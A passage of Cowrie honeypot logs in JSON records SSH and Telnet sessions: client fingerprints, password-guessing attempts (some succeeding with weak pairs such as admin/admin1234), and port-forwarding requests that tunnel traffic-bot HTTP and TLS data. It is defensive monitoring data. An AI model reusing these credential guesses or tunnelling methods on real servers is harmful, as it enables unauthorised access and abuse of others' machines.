2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:34.315448Z","src_ip":"91.92.40.36","session":"9e4ff9a1da93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.62428665161133,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:34.467979Z","src_ip":"128.199.8.54","session":"9244532a45ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:34.516257Z","src_ip":"91.92.40.36","session":"369b8ed09ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daysha","password":"daysha","message":"login attempt [daysha/daysha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:39.482296Z","src_ip":"91.92.40.36","session":"9e4ff9a1da93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25182,"dst_ip":"159.203.135.109","dst_port":22,"session":"5211f550a343","protocol":"ssh","message":"New connection: 91.92.40.36:25182 (159.203.135.109:22) [session: 5211f550a343]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:40.457518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:41.831296Z","src_ip":"91.92.40.36","session":"5211f550a343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:41.834157Z","src_ip":"91.92.40.36","session":"5211f550a343","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.8","message":"Connection lost after 8.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:41.933737Z","src_ip":"91.92.40.36","session":"9e4ff9a1da93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":63472,"dst_ip":"10.17.0.5","dst_port":22,"session":"423abfafc64b","protocol":"ssh","message":"New connection: 23.175.50.51:63472 (10.17.0.5:22) [session: 423abfafc64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:44.959480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:44.963274Z","src_ip":"23.175.50.51","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:45.169936Z","src_ip":"23.175.50.51","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.100881814956665,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:45.780733Z","src_ip":"172.81.62.90","session":"ff9a0b0e12cd","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:46.471065Z","src_ip":"23.175.50.51","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":49251,"dst_ip":"10.17.0.5","dst_port":22,"session":"327d255512fa","protocol":"ssh","message":"New connection: 113.164.152.20:49251 (10.17.0.5:22) [session: 327d255512fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:46.921503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:46.924692Z","src_ip":"113.164.152.20","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:47.206623Z","src_ip":"113.164.152.20","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.55158019065857,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:48.223071Z","src_ip":"172.81.62.90","session":"64147a3a76d9","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:48.363513Z","src_ip":"113.164.152.20","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shubham","password":"shubham","message":"login attempt [shubham/shubham] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:48.375842Z","src_ip":"91.92.40.36","session":"5211f550a343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.113.53","src_port":31066,"dst_ip":"159.203.135.109","dst_port":22,"session":"9efbb47ee882","protocol":"ssh","message":"New connection: 14.103.113.53:31066 (159.203.135.109:22) [session: 9efbb47ee882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:48.758577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:48.762621Z","src_ip":"14.103.113.53","session":"9efbb47ee882","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:48.851129Z","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:48.955050Z","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25178,"dst_ip":"159.203.135.109","dst_port":22,"session":"702d93b11154","protocol":"ssh","message":"New connection: 91.92.40.36:25178 (159.203.135.109:22) [session: 702d93b11154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:49.303482Z"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52639,"dst_ip":"10.17.0.5","dst_port":22,"session":"310ce21bb679","protocol":"ssh","message":"New connection: 113.164.152.20:52639 (10.17.0.5:22) [session: 310ce21bb679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:49.613179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:49.617029Z","src_ip":"113.164.152.20","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:49.687691Z","src_ip":"91.92.40.36","session":"5211f550a343","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:49.934725Z","src_ip":"113.164.152.20","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:50.151006Z","src_ip":"113.164.152.20","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1148\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; ELS-AN00 Build/HUAWEIELS-AN00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cmtBZkJQRzRWTWxNWEBzUw%3D%3DYUlvJlgWy9TwD2Wq0OUCn7%2BmRuEegyhr1ftXn65EUkUdElec2x8qplI2zs3EVjLXBaXWGKvQgG4Bbg4vlHQBf49tre8ipcaTp4xL0LGtqym0fFH0SusXG1mR4Zu%2BgVEhZVJ1Re5%2F9pfc3qWFyGWm8oj25X6asDZR51cKu735Oi8Kxv9tylzUGX1FYsfO354wvq532P5vpWD4ii9ztVSYdlf3AnProw8DQ14jb2dC%2FT9XcrOvVDKU3NqnxHFSh4Bbkd7bQdAv42m%2BBM9n%2BWYmjRKpai9uE08zybWH5NVv3zxM8Wa7HR5msN5zQA7WuVQ9ZxyWxEfoqjTg5OYnEHffUnX0cP9bkk28oMFwIwlY1nuBJb2xTCCMo90%2BM1Whc9j4N%2Fcu0xU8RZW5d9rJZx4ZdRRHgGkyPVfDkl%2BQq0IkbB8DZ7tyi3gfRBreFN5BjB506yKJwKRIcrqXqyBauApwPhPprrekBNIJEbSZ7Nqe02vsq1bKfzzGTaU2HGaaS5OqQ9EgnEVriFGNE1CBXtJTrLou5UbccsNVybpC6TJbDWptz5kAeEN3t%2BhVYilJAGlEJ45szVk4wJj0KX3i7CfcU6q4geWUx%2BfoL4B5m01G5eKGKSuPq04IbYI7ogpiDcXBdBZdhElukIlSXcYDvltstfwNnXQ%2BTJkhfdri2pfm52y9urJR1vD1r4MVzCufJipGohNQjF%2BIYTNeby0jBjOxnZoVVr4at0lwD%2Fv72fLO%2BBVblHB0vdm51P31DYXlUv9PnNcqGMmW6RiC%2BWtd0ETaeEppxM6zwQU%2FsVJ4DrXnmIL5itPYPvLoZjBh%2FYdh23jHWPGS0h9rT%2Bm%2F%2FJQv1YPLlxbWGn8o48g38BoWCh9R25y4bv9h9uaN0yUYCz7ivYAhfsLK6UYjZQKRR%2B6Us%2FbQgMJgplnXyH9UiyiZ01s3OwZWfFDmDfV15Mq3lERL3TLdw4tUpBjwBv4JwYMi2eUf8som8WsqVQaAWQzHxYNMYNGYaGCembL1KGSYCZOaRD46jqlem43p6Sl4fpUrLyJYEhaYhtPn82TTINsP8XDi%2FGM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1148\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; ELS-AN00 Build/HUAWEIELS-AN00) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cmtBZkJQRzRWTWxNWEBzUw%3D%3DYUlvJlgWy9TwD2Wq0OUCn7%2BmRuEegyhr1ftXn65EUkUdElec2x8qplI2zs3EVjLXBaXWGKvQgG4Bbg4vlHQBf49tre8ipcaTp4xL0LGtqym0fFH0SusXG1mR4Zu%2BgVEhZVJ1Re5%2F9pfc3qWFyGWm8oj25X6asDZR51cKu735Oi8Kxv9tylzUGX1FYsfO354wvq532P5vpWD4ii9ztVSYdlf3AnProw8DQ14jb2dC%2FT9XcrOvVDKU3NqnxHFSh4Bbkd7bQdAv42m%2BBM9n%2BWYmjRKpai9uE08zybWH5NVv3zxM8Wa7HR5msN5zQA7WuVQ9ZxyWxEfoqjTg5OYnEHffUnX0cP9bkk28oMFwIwlY1nuBJb2xTCCMo90%2BM1Whc9j4N%2Fcu0xU8RZW5d9rJZx4ZdRRHgGkyPVfDkl%2BQq0IkbB8DZ7tyi3gfRBreFN5BjB506yKJwKRIcrqXqyBauApwPhPprrekBNIJEbSZ7Nqe02vsq1bKfzzGTaU2HGaaS5OqQ9EgnEVriFGNE1CBXtJTrLou5UbccsNVybpC6TJbDWptz5kAeEN3t%2BhVYilJAGlEJ45szVk4wJj0KX3i7CfcU6q4geWUx%2BfoL4B5m01G5eKGKSuPq04IbYI7ogpiDcXBdBZdhElukIlSXcYDvltstfwNnXQ%2BTJkhfdri2pfm52y9urJR1vD1r4MVzCufJipGohNQjF%2BIYTNeby0jBjOxnZoVVr4at0lwD%2Fv72fLO%2BBVblHB0vdm51P31DYXlUv9PnNcqGMmW6RiC%2BWtd0ETaeEppxM6zwQU%2FsVJ4DrXnmIL5itPYPvLoZjBh%2FYdh23jHWPGS0h9rT%2Bm%2F%2FJQv1YPLlxbWGn8o48g38BoWCh9R25y4bv9h9uaN0yUYCz7ivYAhfsLK6UYjZQKRR%2B6Us%2FbQgMJgplnXyH9UiyiZ01s3OwZWfFDmDfV15Mq3lERL3TLdw4tUpBjwBv4JwYMi2eUf8som8WsqVQaAWQzHxYNMYNGYaGCembL1KGSYCZOaRD46jqlem43p6Sl4fpUrLyJYEhaYhtPn82TTINsP8XDi%2FGM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:50.154173Z","src_ip":"113.164.152.20","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:50.157224Z","src_ip":"113.164.152.20","session":"327d255512fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`\\x1f\\xd5\\xd2\\xa78)\\xd1\\xd4\\x89Z\\x17\\x02\\x98\\x9c\\x026 R\\xe2\\x89\\xe2$\\xc1\\xb3\\xceR\\xe6\\x9d\\xff\\x17\\xce q\\x19\\xc9\\x15\\x99v\\x137F\\x8e\\xdc\\x8d\\x95\\xdf\\xe9\\xfd\\x1bD\\xef\\xff\\xb9i\\xc9\\xfa\\xf7\\xf2PU\\x7f\\xa1vA\\x00 \\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 4\\xa8\\x88#\\xc0\\x1b\\xae\\r\\xb2\\x8f\\x92\\xd6\\x98\\x86\\x7f6Y\\x02jl\\xa5X\\xa0336v\\x81\\xce\\xde\\xfcz\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`\\x1f\\xd5\\xd2\\xa78)\\xd1\\xd4\\x89Z\\x17\\x02\\x98\\x9c\\x026 R\\xe2\\x89\\xe2$\\xc1\\xb3\\xceR\\xe6\\x9d\\xff\\x17\\xce q\\x19\\xc9\\x15\\x99v\\x137F\\x8e\\xdc\\x8d\\x95\\xdf\\xe9\\xfd\\x1bD\\xef\\xff\\xb9i\\xc9\\xfa\\xf7\\xf2PU\\x7f\\xa1vA\\x00 